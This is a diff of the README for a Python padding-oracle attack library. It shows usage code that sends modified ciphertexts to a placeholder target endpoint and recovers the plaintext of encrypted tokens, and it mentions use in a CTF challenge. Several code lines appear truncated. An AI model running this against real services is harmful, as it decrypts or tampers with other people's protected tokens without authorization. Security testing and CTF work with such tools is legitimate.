11# padding_oracle.py
22
3- Extremely fast threaded [ padding oracle] ( http ://server.maojui.me/Crypto /Padding_oracle_attack/ ) automation script for Python 3.
3+ Fast threaded [ padding oracle] ( https ://en.wikipedia.org/wiki /Padding_oracle_attack) attack automation script for Python 3.
44
55## Install
66
7- Installing from PyPI:
7+ PyPI:
88
99``` shell
1010pip3 install -U padding_oracle
1111```
1212
13- Or, installing from GitHub:
13+ GitHub:
1414
1515``` shell
1616pip3 install -U git+https://github.com/djosix/padding_oracle.py.git
@@ -27,86 +27,49 @@ Tested on [0x09] Cathub Party from EDU-CTF:
2727| 16 | 1m 20s |
2828| 64 | 56s |
2929
30- ## Example
30+ ## Usage
3131
32- All you need is defining the ** oracle function ** to check whether the given cipher is correctly decrypted.
32+ Let's say we are going to test ` https:// the.target.site/api/?token=BASE64_ENCODED_TOKEN `
3333
3434``` python
35- from padding_oracle import *
35+ from padding_oracle import padding_oracle, base64_encode, base64_decode
3636import requests, string
3737
38- # Create a requests.Session to enable connection pool
39- sess = requests.Session()
40-
41- # Define a function to test if the cipher can be decrypted
42- def oracle (cipher : bytes ):
43- token = base64_encode(cipher)
44- resp = sess.post(' http://insucure.com/verify_token' data = {' token'
45- assert ' failed' in resp.text or ' success' in resp.text, ' exception???'
46- return ' decryption failed' not in resp.text
47-
48-
49- # cipher = base64_decode(token)
50- cipher = b ' [______IV______][____Block1____][____Block2____]'
51-
52- # DECRYPT THE CIPHER!!!
53- plaintext = padding_oracle(cipher,
54- block_size = 16 ,
55- oracle = oracle,
56- num_threads = 16 ,
57- chars = string.printable)
58- ```
59-
60- New API usage 1:
61-
62- ``` python
63- import logging
64- from padding_oracle import Solver, get_logger, plaintext_list_to_bytes, remove_padding
65-
66- solver = Solver()
67- solver.logger = get_logger(level = logging.DEBUG )
68- solver.num_threads = 64
69-
70- @solver.oracle
71- def oracle (cipher : bytes ):
72- token = base64_encode(cipher)
73- resp = sess.post(' http://insucure.com/verify_token' data = {' token'
74- assert ' failed' in resp.text or ' success' in resp.text, ' exception???'
75- return ' decryption failed' not in resp.text
76-
77- cipher = b ' [______IV______][____Block1____][____Block2____]'
78-
79- plaintext_list = solver.solve(cipher) # byte ord list that may contains None
80- plaintext_with_padding = plaintext_list_to_bytes(plaintext_list)
81- plaintext = remove_padding(plaintext_with_padding)
82- ```
83-
84- New API usage 2:
85-
86- ``` python
87- import logging
88- from padding_oracle import solve, get_logger
89-
90- def oracle (cipher : bytes ):
91- token = base64_encode(cipher)
92- resp = sess.post(' http://insucure.com/verify_token' data = {' token'
93- assert ' failed' in resp.text or ' success' in resp.text, ' exception???'
94- return ' decryption failed' not in resp.text
95-
96- plaintext = solve(
97- cipher = b ' [______IV______][____Block1____][____Block2____]'
98- block_size = 16 ,
99- num_threads = 64 ,
100- validator = oracle,
101- logger = get_logger() # default level is INFO
38+ sess = requests.Session() # for connection pool
39+ url = ' https://the.target.site/api/'
40+
41+ def check_decrypt (cipher : bytes ):
42+ resp = sess.get(url, params = {' token'
43+
44+ if ' failed' in resp.text:
45+ return False
46+ elif ' success' in resp.text:
47+ return True
48+ else :
49+ raise RuntimeError (' unexpected behavior'
50+
51+ cipher = base64_decode(' BASE64_ENCODED_TOKEN'
52+ # becomes IV + block1 + block2 + ...
53+ assert len (cipher) % 16 == 0
54+
55+ plaintext = padding_oracle(
56+ cipher, # cipher bytes
57+ block_size = 16 ,
58+ oracle = check_decrypt,
59+ num_threads = 16 ,
60+ chars = string.printable # possible plaintext chars
10261)
10362```
10463
10564This package also provides PHP-like encoding/decoding functions:
10665
10766``` python
10867from padding_oracle.encoding import (
109- urlencode, urldecode,
110- base64_encode, base64_decode,
68+ urlencode,
69+ urldecode,
70+ base64_encode,
71+ base64_decode,
11172)
11273```
74+
75+ <!-- PiuPiuPiu -->
0 commit comments